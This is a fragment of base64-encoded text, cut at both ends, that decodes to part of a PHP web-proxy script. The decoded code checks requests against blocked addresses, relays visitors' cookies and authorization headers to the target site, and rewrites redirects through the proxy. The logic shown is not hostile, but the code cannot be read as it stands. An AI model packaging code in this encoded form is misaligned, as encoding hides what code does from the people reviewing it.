NwbGl0KTsNCn0NCg0KZnVuY3Rpb24gaXBjb21wYXJlKCRpcHJhbmdlLCRpcCl7DQoJJGlwcmFycj1zcGxpdCgnLycsJGlwcmFuZ2UpOw0KCSRpcGFkZHI9JGlwcmFyclswXTsNCgkkbWFzaz0kaXByYXJyWzFdOw0KCSRtYXNrYml0cz1zdHJfcmVwZWF0KCcxJywkbWFzaykuc3RyX3JlcGVhdCgnMCcsJG1hc2spOw0KCSRpcGJpdHM9aXBiaXR0ZXIoJGlwYWRkcik7DQoJJGlwYml0czI9aXBiaXR0ZXIoJGlwKTsNCglyZXR1cm4gKCgkaXBiaXRzICYgJG1hc2tiaXRzKT09KCRpcGJpdHMyICYgJG1hc2tiaXRzKSk7DQp9DQoNCmZ1bmN0aW9uIGlwX2NoZWNrKCRpcCwkbWFzaz1mYWxzZSl7DQoJJGlwc2VnPScoPzpbMDFdP1swLTldezEsMn18Mig/OjVbMC01XXxbMC00XVswLTldKSknOw0KCXJldHVybiBwcmVnX21hdGNoKCIvXig/OiRpcHNlZ1wuKXswLDN9JGlwc2VnIi4oJG1hc2s/J1wvWzAtOV17MSwyfSc6bnVsbCkuJyQvaScsJGlwKTsgIyoNCn0NCg0KZnVuY3Rpb24gZ2V0aG9zdGJ5bmFtZV9jYWNoZWl0KCRhZGRyZXNzKXsNCglnbG9iYWwgJGRuc19jYWNoZV9hcnJheTsNCgkkaXBhZGRyPWdldGhvc3RieW5hbWUoJGFkZHJlc3MpOw0KCSRkbnNfY2FjaGVfYXJyYXlbJGFkZHJlc3NdPWFycmF5KCd0aW1lJz0+dGltZSgpLCAnaXBhZGRyJz0+JGlwYWRkcik7DQoJcmV0dXJuICRpcGFkZHI7DQp9DQoNCmZ1bmN0aW9uIGdldGhvc3RieW5hbWVfY2FjaGVkKCRhZGRyZXNzKXsNCglnbG9iYWwgJGRuc19jYWNoZV9hcnJheTsNCglpZihpc3NldCgkZG5zX2NhY2hlX2FycmF5WyRhZGRyZXNzXSkpIHJldHVybiAkZG5zX2NhY2hlX2FycmF5WyRhZGRyZXNzXVsnaXBhZGRyJ107DQoJcmV0dXJuIGdldGhvc3RieW5hbWVfY2FjaGVpdCgkYWRkcmVzcyk7DQp9DQoNCmZ1bmN0aW9uIGdldF9jaGVjaygkYWRkcmVzcyl7DQoJZ2xvYmFsICRibG9ja2VkX2FkZHJlc3NlczsNCglpZihzdHJyY2hyKCRhZGRyZXNzLCcvJykpICRhZGRyZXNzPXN1YnN0cihzdHJyY2hyKCRhZGRyZXNzLCcvJyksMSk7DQoJJGlwYz1pcF9jaGVjaygkYWRkcmVzcyk7DQoJJGFkZHJlc3NpcD0oaXBfY2hlY2soJGFkZHJlc3MpPyRhZGRyZXNzOmdldGhvc3RieW5hbWVfY2FjaGVkKCRhZGRyZXNzKSk7DQoJaWYoIWlwX2NoZWNrKCRhZGRyZXNzaXApKSBoYXZvaygxLCRhZGRyZXNzLCRhZGRyZXNzaXApOw0KCWZvcmVhY2goJGJsb2NrZWRfYWRkcmVzc2VzIGFzICRiYWRkKXsNCgkJaWYoISRpcGMpIGlmKHN0cmxlbigkYmFkZCk8PXN0cmxlbigkYWRkcmVzcykgJiYgc3Vic3RyKCRhZGRyZXNzLHN0cmxlbigkYWRkcmVzcyktc3RybGVuKCRiYWRkKSxzdHJsZW4oJGJhZGQpKT09JGJhZGQpIGhhdm9rKDUpOw0KCQlpZigkYmFkZD09JGFkZHJlc3NpcCkgaGF2b2soMiwkYWRkcmVzcywkYWRkcmVzc2lwKTsNCgkJZWxzZWlmKGlwX2NoZWNrKCRiYWRkLHRydWUpKXsgaWYoaXBjb21wYXJlKCRiYWRkLCRhZGRyZXNzaXApKSBoYXZvaygyLCRhZGRyZXNzLCRhZGRyZXNzaXApOyB9DQoJCWVsc2V7DQoJCQkkYmFkZGlwPWdldGhvc3RieW5hbWVfY2FjaGVkKCRiYWRkKTsNCgkJCWlmKGVtcHR5KCRiYWRkaXApKSBoYXZvayg0KTsNCgkJCWlmKCRiYWRkaXA9PSRhZGRyZXNzaXApIGhhdm9rKDIsJGFkZHJlc3MsJGFkZHJlc3NpcCk7DQoJCX0NCgl9DQoJcmV0dXJuICRhZGRyZXNzaXA7DQp9DQoNCiMgfX19DQoNCiMgUFJPWFkgRlVOQ1RJT05TOiBIVFRQIHt7ew0KDQpmdW5jdGlvbiBodHRwY2xlYW4oJHN0cil7IHJldHVybiBzdHJfcmVwbGFjZSgnICcsJysnLHByZWdfcmVwbGFjZSgnLyhbXiI6XC1fXC4wLTlhLXogXSkvaWUnLCdcJyVcJy4oc3RybGVuKGRlY2hleChvcmQoXCdcMVwnKSkpPT0xP1wnMFwnOm51bGwpLnN0cnRvdXBwZXIoZGVjaGV4KG9yZChcJ1wxXCcpKSknLCRzdHIpKTsgfQ0KDQpmdW5jdGlvbiBnZXRwYWdlKCR1cmwpew0KCWdsb2JhbCAkaGVhZGVycywkb3V0LCRwb3N0X3ZhcnMsJHByb3h5X3ZhcmlhYmxlcywkcmVmZXJlcjsNCg0KCSR1cmxvYmo9bmV3IGF1cmwoJHVybCk7DQoJJHF1ZXJ5PSR1cmxvYmotPmdldF9xdWVyeSgpOw0KCSRyZXF1cmw9JHVybG9iai0+Z2V0X3BhdGgoKS4kdXJsb2JqLT5nZXRfZmlsZSgpLighZW1wdHkoJHF1ZXJ5KT8iP3skcXVlcnl9IjpudWxsKTsNCg0KCSRodHRwX2F1dGg9bnVsbDsNCglpZihleHRlbnNpb25fbG9hZGVkKCdhcGFjaGUnKSl7DQoJCSRmYWlsPWZhbHNlOw0KCQkkY2hlYWRlcnM9Z2V0YWxsaGVhZGVycygpOw0KCQkkaHR0cF9hdXRoPSRyZXFhcnJheVsnQXV0aG9yaXphdGlvbiddOw0KCX0NCgllbHNlICRmYWlsPXRydWU7DQoNCgkkYXV0aG9yaXphdGlvbj0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfQVVUSE9SSVpBVElPTiddOiRjaGVhZGVyc1snQXV0aG9yaXphdGlvbiddKTsNCgkkY2FjaGVfY29udHJvbD0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfQ0FDSEVfQ09OVFJPTCddOiRjaGVhZGVyc1snQ2FjaGUtQ29udHJvbCddKTsNCgkkaWZfbW9kaWZpZWQ9KCRmYWlsPyRfU0VSVkVSWydIVFRQX0lGX01PRElGSUVEX1NJTkNFJ106JGNoZWFkZXJzWydJZi1Nb2RpZmllZC1TaW5jZSddKTsNCgkkaWZfbm9uZV9tYXRjaD0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfSUZfTk9ORV9NQVRDSCddOiRjaGVhZGVyc1snSWYtTm9uZS1NYXRjaCddKTsNCg0KCWlmKCRmYWlsKXsNCgkJaWYoIWVtcHR5KCRhdXRob3JpemF0aW9uKSkgJGh0dHBfYXV0aD0kYXV0aG9yaXphdGlvbjsNCgkJZWxzZWlmKCFlbXB0eSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSAmJiAhZW1wdHkoJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pKQ0KCQkJJGh0dHBfYXV0aD0nQmFzaWMgJy5iYXNlNjRfZW5jb2RlKCJ7JF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXX06eyRfU0VSVkVSWydQSFBfQVVUSF9QVyddfSIpOw0KCQllbHNlaWYoIWVtcHR5KCRfU0VSVkVSWydQSFBfQVVUSF9ESUdFU1QnXSkpICRodHRwX2F1dGg9IkRpZ2VzdCB7JF9TRVJWRVJbJ1BIUF9BVVRIX0RJR0VTVCddfSI7DQoJfQ0KDQoJaWYoUElQIT1udWxsICYmIFBQT1JUIT1udWxsKXsNCgkJJHNlcnZlcm5hbWU9UElQOw0KCQkkaXBhZGRyZXNzPWdldF9jaGVjayhQSVApOw0KCQkkcG9ydHZhbD1QUE9SVDsNCgkJJHJlcXVybD0kdXJsb2JqLT5nZXRfdXJsKGZhbHNlKTsNCgl9DQoJZWxzZXsNCgkJJHNlcnZlcm5hbWU9JHVybG9iai0+Z2V0X3NlcnZlcm5hbWUoKTsNCgkJJGlwYWRkcmVzcz0oJHVybG9iai0+Z2V0X3Byb3RvKCk9PSdzc2wnIHx8ICR1cmxvYmotPmdldF9wcm90bygpPT0naHR0cHMnPydzc2w6Ly8nOm51bGwpLmdldF9jaGVjaygkc2VydmVybmFtZSk7DQoJCSRwb3J0dmFsPSR1cmxvYmotPmdldF9wb3J0dmFsKCk7DQoJfQ0KDQoJJG91dD0ieyRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddfSAiLnN0cl9yZXBsYWNlKCcgJywnJTIwJywkcmVxdXJsKS4iIEhUVFAvMS4xXHJcbkhvc3Q6ICIuJHVybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4oKCRwb3J0dmFsIT04MCAmJiAoJHVybG9iai0+Z2V0X3Byb3RvKCk9PSdodHRwcyc/JHBvcnR2YWwhPTQ0Mzp0cnVlKSk/IjokcG9ydHZhbCI6bnVsbCkuIlxyXG4iOw0KDQoJZ2xvYmFsICR1c2VyYWdlbnQ7DQoJJHVzZXJhZ2VudD1udWxsOw0KCWlmKCRfQ09PS0lFW0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddIT0nLTEnKXsNCgkJJHVzZXJhZ2VudD0kX0NPT0tJRVtDT09LX1BSRUYuJ191c2VyYWdlbnQnXTsNCgkJaWYoZW1wdHkoJHVzZXJhZ2VudCkpICR1c2VyYWdlbnQ9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KCQkkdXNlcmFnZW50X2Nvb2s9KCR1c2VyYWdlbnQ9PTE/JF9DT09LSUVbQ09PS19QUkVGLidfdXNlcmFnZW50dGV4dCddOiR1c2VyYWdlbnQpOw0KCQlpZighZW1wdHkoJHVzZXJhZ2VudF9jb29rKSkgJG91dC49IlVzZXItQWdlbnQ6ICR1c2VyYWdlbnRfY29va1xyXG4iOw0KCX0NCglpZighZW1wdHkoJGh0dHBfYXV0aCkpICRvdXQuPSJBdXRob3JpemF0aW9uOiAkaHR0cF9hdXRoXHJcbiI7DQoNCglpZihlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfcmVmZXJlciddKSAmJiAhZW1wdHkoJHJlZmVyZXIpKSAkb3V0Lj0nUmVmZXJlcjogJy5zdHJfcmVwbGFjZSgnICcsJysnLCRyZWZlcmVyKS4iXHJcbiI7DQoJaWYoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ109PSdQT1NUJykgJG91dC49J0NvbnRlbnQtTGVuZ3RoOiAnLnN0cmxlbigkcG9zdF92YXJzKS4iXHJcbkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkXHJcbiI7DQoNCgkkY29va19wcmVmZG9tYWluPXByZWdfcmVwbGFjZSgnL153d3dcLi9pJyxudWxsLCR1cmxvYmotPmdldF9zZXJ2ZXJuYW1lKCkpOyAjKg0KCSRjb29rX3ByZWZpeD1zdHJfcmVwbGFjZSgnLicsJ18nLCRjb29rX3ByZWZkb21haW4pLkNPT0tJRV9TRVBBUkFUT1I7DQoJaWYoY291bnQoJF9DT09LSUUpPjAgJiYgZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX2Nvb2tpZXMnXSkpew0KCQkkYWRkdG9vdXQ9bnVsbDsNCgkJcmVzZXQoJF9DT09LSUUpOw0KCQl3aGlsZShsaXN0KCRrZXksJHZhbCk9ZWFjaCgkX0NPT0tJRSkpew0KCQkJaWYoRU5DUllQVF9DT09LUyl7DQoJCQkJJGtleT1wcm94ZGVjKCRrZXkpOw0KCQkJCSR2YWw9cHJveGRlYygkdmFsKTsgI3VybGRlY29kZSgkdmFsKSk7DQoJCQl9DQoJCQlpZihzdHJfcmVwbGFjZShDT09LSUVfU0VQQVJBVE9SLG51bGwsJGtleSk9PSRrZXkpIGNvbnRpbnVlOw0KCQkJIyRjb29rX2RvbWFpbj1wcmVnX3JlcGxhY2UoJy9eKC4qJy5DT09LSUVfU0VQQVJBVE9SLicpLiokLycsJ1wxJywka2V5KTsgIyoqDQoJCQkkY29va19kb21haW49c3Vic3RyKCRrZXksMCxzdHJwb3MoJGtleSxDT09LSUVfU0VQQVJBVE9SKSkuQ09PS0lFX1NFUEFSQVRPUjsNCgkJCWlmKHN1YnN0cigkY29va19wcmVmaXgsc3RybGVuKCRjb29rX3ByZWZpeCktc3RybGVuKCRjb29rX2RvbWFpbiksc3RybGVuKCRjb29rX2RvbWFpbikpIT0kY29va19kb21haW4pIGNvbnRpbnVlOw0KCQkJJGtleT1zdWJzdHIoJGtleSxzdHJsZW4oJGNvb2tfZG9tYWluKSxzdHJsZW4oJGtleSktc3RybGVuKCRjb29rX2RvbWFpbikpOw0KCQkJaWYoIWluX2FycmF5KCRrZXksJHByb3h5X3ZhcmlhYmxlcykpICRhZGR0b291dC49IiAka2V5PSR2YWw7IjsNCgkJfQ0KCQlpZighZW1wdHkoJGFkZHRvb3V0KSl7DQoJCQkkYWRkdG9vdXQuPSJcclxuIjsNCgkJCSRvdXQuPSJDb29raWU6eyRhZGR0b291dH0iOw0KCQl9DQoJfQ0KDQoJJG91dC49IkFjY2VwdDogKi8qO3E9MC4xXHJcbiIuDQoJICAgICAgKEdaSVBfUFJPWFlfU0VSVkVSPyJBY2NlcHQtRW5jb2Rpbmc6IGd6aXBcclxuIjpudWxsKS4NCgkgICAgICAvLyJBY2NlcHQtQ2hhcnNldDogSVNPLTg4NTktMSx1dGYtODtxPTAuMSwqO3E9MC4xXHJcbiIuDQoJICAgICAgLyovDQoJICAgICAgIktlZXAtQWxpdmU6IDMwMFxyXG4iLg0KCSAgICAgICJDb25uZWN0aW9uOiBrZWVwLWFsaXZlXHJcbiIuICAgICAgICAgICAgICAgICAgICAgICAgICAvKi8NCgkgICAgICAiQ29ubmVjdGlvbjogY2xvc2VcclxuIi4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8qLw0KCSAgICAgICgkY2FjaGVfY29udHJvbCE9bnVsbD8iQ2FjaGUtQ29udHJvbDogJGNhY2hlX2NvbnRyb2xcclxuIjpudWxsKS4NCgkgICAgICAoJGlmX21vZGlmaWVkIT1udWxsPyJJZi1Nb2RpZmllZC1TaW5jZTogJGlmX21vZGlmaWVkXHJcbiI6bnVsbCkuDQoJICAgICAgKCRpZl9ub25lX21hdGNoIT1udWxsPyJJZi1Ob25lLU1hdGNoOiAkaWZfbm9uZV9tYXRjaFxyXG4iOm51bGwpLg0KCSAgICAgICJcclxueyRwb3N0X3ZhcnN9Ig0KCTsNCg0KCS8vIFRoaXMgcGFydCBpZ25vcmVzIGFueSAiU1NMOiBmYXRhbCBwcm90b2NvbCBlcnJvciIgZXJyb3JzLCBhbmQgbWFrZXMgc3VyZSBvdGhlciBlcnJvcnMgYXJlIHN0aWxsIHRyaWdnZXJlZCBjb3JyZWN0bHkNCglmdW5jdGlvbiBlcnJvckhhbmRsZSgkZXJybm8sJGVycm1zZyl7DQoJCWlmKCRlcnJubzw9RV9QQVJTRSAmJiAoJGVycm5vIT1FX1dBUk5JTkcgfHwgc3Vic3RyKCRlcnJtc2csLTI1KSE9J1NTTDogZmF0YWwgcHJvdG9jb2wgZXJyb3InKSl7DQoJCQlyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCgkJCXRyaWdnZXJfZXJyb3IoJGVycm1zZywkZXJybm88PDgpOw0KCQkJc2V0X2Vycm9yX2hhbmRsZXIoJ2Vycm9ySGFuZGxlJyk7DQoJCX0NCgl9DQoJc2V0X2Vycm9yX2hhbmRsZXIoJ2Vycm9ySGFuZGxlJyk7DQoNCgkkZnA9QGZzb2Nrb3BlbigkaXBhZGRyZXNzLCRwb3J0dmFsLCRlcnJubywkZXJydmFsLDUpIG9yIGhhdm9rKDYsJHNlcnZlcm5hbWUsJHBvcnR2YWwpOw0KCXN0cmVhbV9zZXRfdGltZW91dCgkZnAsNSk7DQoJIyBmb3IgcGVyc2lzdGVudCBjb25uZWN0aW9ucywgdGhpcyBtYXkgYmUgbmVjZXNzYXJ5DQoJLyoNCgkkdWI9c3RyZWFtX2dldF9tZXRhX2RhdGEoJGZwKTsNCgkkdWI9JHViWyd1bnJlYWRfYnl0ZXMnXTsNCglpZigkdWI+MCkgZnJlYWQoJGZwLCR1Yik7DQoJKi8NCglmd3JpdGUoJGZwLCRvdXQpOw0KDQoJJHJlc3BvbnNlPScxMDAnOw0KCXdoaWxlKCRyZXNwb25zZT09JzEwMCcpew0KCQkkcmVzcG9uc2VsaW5lPWZnZXRzKCRmcCw4MTkyKTsNCgkJJHJlc3BvbnNlPXN1YnN0cigkcmVzcG9uc2VsaW5lLDksMyk7DQoNCgkJJGhlYWRlcnM9YXJyYXkoKTsNCgkJd2hpbGUoJGN1cmxpbmUhPSJcclxuIiAmJiAkY3VybGluZT1mZ2V0cygkZnAsODE5Mikpew0KCQkJJGhhcnI9ZXhwbG9kZSgnOicsJGN1cmxpbmUsMik7DQoJCQkkaGVhZGVyc1tzdHJ0b2xvd2VyKCRoYXJyWzBdKV1bXT10cmltKCRoYXJyWzFdKTsNCgkJfQ0KCX0NCg0KCSNpZigkaGVhZGVyc1sncHJhZ21hJ11bMF09PW51bGwpIGhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTsNCgkjaWYoJGhlYWRlcnNbJ2NhY2hlLWNvbnRyb2wnXVswXT09bnVsbCkgaGVhZGVyKCdDYWNoZS1Db250cm9sOiBwdWJsaWMnKTsNCgkjaWYoJGhlYWRlcnNbJ2xhc3QtbW9kaWZpZWQnXVswXT09bnVsbCAmJiAkaGVhZGVyc1snZXhwaXJlcyddPT1udWxsKSBoZWFkZXIoJ0V4cGlyZXM6ICcuZGF0ZSgnRCwgZCBNIFkgSDppOnMgZScsdGltZSgpKzg2NDAwKSk7DQoNCgkjIHJlYWQgYW5kIHN0b3JlIGNvb2tpZXMNCglpZihlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcyddKSl7DQoJCWZvcigkaT0wOyRpPGNvdW50KCRoZWFkZXJzWydzZXQtY29va2llJ10pOyRpKyspew0KCQkJJHRoaXNjb29rPWV4cGxvZGUoJz0nLCRoZWFkZXJzWydzZXQtY29va2llJ11bJGldLDIpOw0KCQkJaWYoIXN0cnBvcygkdGhpc2Nvb2tbMV0sJzsnKSkgJHRoaXNjb29rWzFdLj0nOyc7DQoJCQkkY29va192YWw9c3Vic3RyKCR0aGlzY29va1sxXSwwLHN0cnBvcygkdGhpc2Nvb2tbMV0sJzsnKSk7DQoJCQkkY29va19kb21haW49cHJlZ19yZXBsYWNlKCcvXi4qZG9tYWluPVsJIF0qXC4/KFteO10rKS4qPyQvaScsJ1wxJywkdGhpc2Nvb2tbMV0pOyAjKg0KCQkJaWYoJGNvb2tfZG9tYWluPT0kdGhpc2Nvb2tbMV0pICRjb29rX2RvbWFpbj0kY29va19wcmVmZG9tYWluOw0KCQkJZWxzZWlmKHN1YnN0cigkY29va19wcmVmZG9tYWluLHN0cmxlbigkY29va19wcmVmZG9tYWluKS1zdHJsZW4oJGNvb2tfZG9tYWluKSxzdHJsZW4oJGNvb2tfZG9tYWluKSkhPSRjb29rX2RvbWFpbikgY29udGludWU7DQoJCQkkY29va19uYW1lPXN0cl9yZXBsYWNlKCcuJywnXycsJGNvb2tfZG9tYWluKS5DT09LSUVfU0VQQVJBVE9SLiR0aGlzY29va1swXTsNCgkJCWlmKEVOQ1JZUFRfQ09PS1Mpew0KCQkJCSRjb29rX25hbWU9cHJveGVuYygkY29va19uYW1lKTsNCgkJCQkkY29va192YWw9cHJveGVuYygkY29va192YWwpOw0KCQkJfQ0KCQkJZG9zZXRjb29raWUoJGNvb2tfbmFtZSwkY29va192YWwpOw0KCQl9DQoJfQ0KDQoJaWYoJHJlc3BvbnNlezB9PT0nMycgJiYgJHJlc3BvbnNlezF9PT0nMCcgJiYgJHJlc3BvbnNlezJ9IT0nNCcpew0KCQkkdXJsb2JqPW5ldyBhdXJsKCR1cmwpOw0KCQkkcmVkaXJ1cmw9ZnJhbWlmeV91cmwoc3Vycm9nYWZ5X3VybCgkaGVhZGVyc1snbG9jYXRpb24nXVswXSwkdXJsb2JqKSxORVdfUEFHRVRZUEVfRlJBTUVEX1BBR0UpOw0KDQoJCWZjbG9zZSgkZnApOw0KCQlyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCg0KCQlmaW5pc2hfbm9leGl0KCk7DQoJCWhlYWRlcigiTG9jYXRpb246IHskcmVkaXJ1cmx9Iik7DQoJCWV4aXQoKTsNCgl9DQoNCgkkb2hlYWRlcnM9JGhlYWRlcnM7DQoJJG9oZWFkZXJzWydsb2NhdGlvbiddPSRvaGVhZGVyc1snY29udGVudC1sZW5ndGgnXT0kb2hlYWRlcnNbJ2NvbnRlbnQtZW5jb2RpbmcnXT0NCgkkb2hlYWRlcnNbJ3NldC1jb29raWUnXT0kb2hlYWRlcnNbJ3RyYW5zZmVyLWVuY29kaW5nJ109JG9oZWFkZXJzWydjb25uZWN0aW9uJ109DQoJJG9oZWFkZXJzWydrZWVwLWFsaXZlJ109JG9oZWFkZXJzWydwcmFnbWEnXT0kb2hlYWRlcnNbJ2NhY2hlLWNvbnRyb2wnXT0kb2hlYWRlcnNbJ2V4cGlyZXMnXT1udWxsOw0KDQoJd2hpbGUobGlzdCgka2V5LCR2YWwpPWVhY2goJG9oZWFkZXJzKSkgaWYoIWVtcHR5KCR2YWxbMF0pKSBoZWFkZXIoInska2V5fTogeyR2YWxbMF19Iik7DQoJdW5zZXQoJG9oZWFkZXJzKTsNCgloZWFkZXIoIlN0YXR1czogeyRyZXNwb25zZX0iKTsNCg0KCWlmKHN1YnN0cigkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0sMCw0KT09J3RleHQnIHx8IHN1YnN0cigkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0sMCwyNCk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKXsNCgkJJGp1c3RvdXRwdXQ9ZmFsc2U7DQoJCSRqdXN0b3V0cHV0bm93PWZhbHNlOw0KCX0NCgllbHNlew0KCQkkanVzdG91dHB1dG5vdz0oJGhlYWRlcnNbJ2NvbnRlbnQtZW5jb2RpbmcnXVswXT09J2d6aXAnP2ZhbHNlOnRydWUpOw0KCQkkanVzdG91dHB1dD10cnVlOw0KCX0NCg0KCWlmKCRoZWFkZXJzWyd0cmFuc2Zlci1lbmNvZGluZyddWzBdPT0nY2h1bmtlZCcpew0KCQkkYm9keT1udWxsOw0KCQkkY2h1bmtzaXplPW51bGw7DQoJCXdoaWxlKCRjaHVua3NpemUhPT0wKXsNCgkJCSRjaHVua3NpemU9aW50dmFsKGZnZXRzKCRmcCw4MTkyKSwxNik7DQoJCQkkYnVmc2l6ZT0kY2h1bmtzaXplOw0KCQkJd2hpbGUoJGJ1ZnNpemU+PTEpew0KCQkJCSRjaHVuaz1mcmVhZCgkZnAsJGJ1ZnNpemUpOw0KCQkJCWlmKCRqdXN0b3V0cHV0bm93KSBlY2hvICRjaHVuazsNCgkJCQllbHNlICRib2R5Lj0kY2h1bms7DQoJCQkJJGJ1ZnNpemUtPXN0cmxlbigkY2h1bmspOw0KCQkJfQ0KCQkJZnJlYWQoJGZwLDIpOw0KCQl9DQoJfQ0KDQoJLy8gQ29udGVudC1MZW5ndGggc3R1ZmYgLSBjb21tZW50ZWQgZm9yIGV2ZW4gbW9yZSBjaG9jb2xhdGV5IGdvb2RuZXNzDQoJLyplbHNlaWYoJGhlYWRlcnNbJ2NvbnRlbnQtbGVuZ3RoJ11bMF0hPW51bGwpew0KCQkkY29ubGVuPSRoZWFkZXJzWydjb250ZW50LWxlbmd0aCddWzBdOw0KCQkkYm9keT1udWxsOw0KCQlmb3IoJGk9MDskaTwkY29ubGVuOyRpKz0kcmVhZCl7DQoJCQkkcmVhZD0oJGNvbmxlbi0kaTw4MTkyPyRjb25sZW4tJGk6ODE5Mik7DQoJCQkkYnl0ZT1mcmVhZCgkZnAsJHJlYWQpOw0KCQkJaWYoJGp1c3RvdXRwdXRub3cpIGVjaG8gJGJ5dGU7DQoJCQllbHNlICRib2R5Lj0kYnl0ZTsNCgkJfQ0KCX0qLw0KDQoJZWxzZXsNCgkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzdHJlYW1fZ2V0X2NvbnRlbnRzJykpew0KCQkJaWYoJGp1c3RvdXRwdXRub3cpIGVjaG8gc3RyZWFtX2dldF9jb250ZW50cygkZnApOw0KCQkJZWxzZSAkYm9keT1zdHJlYW1fZ2V0X2NvbnRlbnRzKCRmcCk7DQoJCX0NCgkJZWxzZXsNCgkJCSRib2R5PW51bGw7DQoJCQl3aGlsZSh0cnVlKXsNCgkJCQkkY2h1bms9ZnJlYWQoJGZwLDgxOTIpOw0KCQkJCWlmKGVtcHR5KCRjaHVuaykpIGJyZWFrOw0KCQkJCWlmKCRqdXN0b3V0cHV0bm93KSBlY2hvICRjaHVuazsNCgkJCQllbHNlICRib2R5Lj0kY2h1bms7DQoJCQl9DQoJCX0NCgl9DQoNCglmY2xvc2UoJGZwKTsNCglyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCg0KCWlmKEdaSVBfUFJPWFlfU0VSVkVSICYmICRoZWFkZXJzWydjb250ZW50LWVuY29kaW5nJ11bMF09PSdnemlwJykgJGJvZHk9Z3ppbmZsYXRlKHN1YnN0cigkYm9keSwxMCkpOw0KCWlmKCRqdXN0b3V0cHV0KXsNCgkJaWYoISRqdXN0b3V0cHV0bm93KSBlY2hvICRib2R5Ow0KCQlmaW5pc2goKTsNCgl9DQoJcmV0dXJuIGFycmF5KCRib2R5LCR1cmwsJGNvb2tfcHJlZml4KTsNCg0KfQ0KDQojIH19fQ0KDQojIH19fQ0KDQojIFBST1hZIEVYRUNVVElPTiB7e3sNCg0KIyBQUk9YWSBFWEVDVVRJT046IFVTRVIgQ09PS0lFUyB7e3sNCg0KZ2xvYmFsICRwcm94eV92YXJpYWJsZXM7DQokcHJveHlfdmFyaWFibGVzPWFycmF5KENPT0tfUFJFRixDT09LX1BSRUYuJ19waXAnLENPT0tfUFJFRi4nX3Bwb3J0JyxDT09LX1BSRUYuJ191c2VyYWdlbnQnLENPT0tfUFJFRi4nX3VzZXJhZ2VudHRleHQnLENPT0tfUFJFRi4nX3VybF9mb3JtJyxDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcycsQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInLENPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJyxDT09LX1BSRUYuJ19yZW1vdmVfb2JqZWN0cycsQ09PS19QUkVGLidfZW5jcnlwdF91cmxzJyxDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJyk7DQoNCmlmKCRwb3N0YW5kZ2V0W0NPT0tfUFJFRi4nX3NldF92YWx1ZXMnXSl7DQoJJHByb3h5X3ZhcmJsYWNrbGlzdD1hcnJheShDT09LX1BSRUYpOw0KCWlmKCRwb3N0YW5kZ2V0W0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddIT0nMScpew0KCQl1bnNldCgkcG9zdGFuZGdldFtDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0J10pOw0KCQlkb3NldGNvb2tpZShDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0JyxmYWxzZSwwKTsNCgl9DQoJd2hpbGUobGlzdCgka2V5LCR2YWwpPWVhY2goJHByb3h5X3ZhcmlhYmxlcykpew0KCQlpZighaW5fYXJyYXkoJHZhbCwkcHJveHlfdmFyYmxhY2tsaXN0KSl7DQoJCQlkb3NldGNvb2tpZSgkdmFsLGZhbHNlLDApOw0KCQkJaWYoaXNzZXQoJHBvc3RhbmRnZXRbJHZhbF0pICYmICFlbXB0eSgkcG9zdGFuZGdldFskdmFsXSkpIGRvc2V0Y29va2llKCR2YWwsJHBvc3RhbmRnZXRbJHZhbF0pOw0KCQl9DQoJfQ0KCSR0aGV1cmw9ZnJhbWlmeV91cmwoc3Vycm9nYWZ5X3VybChPUklHX1VSTCksUEFHRVRZUEVfRlJBTUVfVE9QKTsNCgkjJHRoZXVybD1zdXJyb2dhZnlfdXJsKChFTkNSWVBUX1VSTFM/cHJveGRlYygkdGhldXJsKTokdGhldXJsKSxudWxsKTsNCgloZWFkZXIoIkxvY2F0aW9uOiB7JHRoZXVybH0iKTsNCglmaW5pc2goKTsNCn0NCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IFBST1hZIEdFVC9QT1NUL0NPT0tJRVMge3t7DQoNCmRlZmluZSgnUElQJywoRk9SQ0VfREVGQVVMVF9UVU5ORUw/JF9DT09LSUVbQ09PS19QUkVGLidfcGlwJ106REVGQVVMVF9UVU5ORUxfUElQKSk7DQpkZWZpbmUoJ1BQT1JUJyxpbnR2YWwoRk9SQ0VfREVGQVVMVF9UVU5ORUw/JF9DT09LSUVbQ09PS19QUkVGLidfcHBvcnQnXTpERUZBVUxUX1RVTk5FTF9QUE9SVCkpOw0KDQpkZWZpbmUoJ0VOQ1JZUFRfQ09PS1MnLGdldGhhcmRhdHRyKCdlbmNyeXB0X2Nvb2tzJykpOw0KDQpnbG9iYWwgJHJlZmVyZXI7DQppZigkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ109PW51bGwpew0KCSRyZWZ1cmxvYmo9bmV3IGF1cmwoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKTsNCgkkcmVmZXJlcj1wcm94ZGVjKHByZWdfcmVwbGFjZSgnL15bXHNcU10qJy5